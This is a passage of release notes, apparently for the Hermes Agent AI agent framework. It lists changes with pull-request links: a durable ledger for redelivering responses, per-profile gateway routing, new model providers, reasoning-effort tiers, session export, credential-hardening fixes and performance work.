<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
<li>TUI renders streamed markdown incrementally per block (<a href="https://github.com/NousResearch/hermes-agent/pull/67236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67236/hovercard">#67236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (<a href="https://github.com/NousResearch/hermes-agent/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61414/hovercard">#61414</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61131/hovercard">#61131</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63941/hovercard">#63941</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway <code>session.resume</code> model + display history from one SELECT (<a href="https://github.com/NousResearch/hermes-agent/pull/61133" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61133/hovercard">#61133</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61368/hovercard">#61368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67247/hovercard">#67247</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>hermes update</code> skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (<a href="https://github.com/NousResearch/hermes-agent/pull/61580" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61580/hovercard">#61580</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60883/hovercard">#60883</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (<a href="https://github.com/NousResearch/hermes-agent/pull/67403" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67403/hovercard">#67403</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Fireworks AI provider</strong> with cost estimation + cached picker price columns, promoted to <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> in provider pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65476" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65476/hovercard">#65476</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65214/hovercard">#65214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>DeepInfra</strong> hardened integration; <strong>Upstage Solar</strong> provider (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614488518" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/42231" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42231/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/42231">#42231</a> salvage) (<a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li><strong>GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end</strong> — context lengths, native/Codex catalogs, pricing, compaction caps across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, building on <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>)</li>
<li>grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (<a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65922" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65922/hovercard">#65922</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56617" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56617/hovercard">#56617</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60943/hovercard">#60943</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Catalog-labeled silent default (GLM-5.2) + bare-provider <code>/model</code> cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/64771" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64771/hovercard">#64771</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67606" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67606/hovercard">#67606</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (<a href="https://github.com/NousResearch/hermes-agent/pull/58884" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58884/hovercard">#58884</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61873/hovercard">#61873</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57038" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57038/hovercard">#57038</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57028/hovercard">#57028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
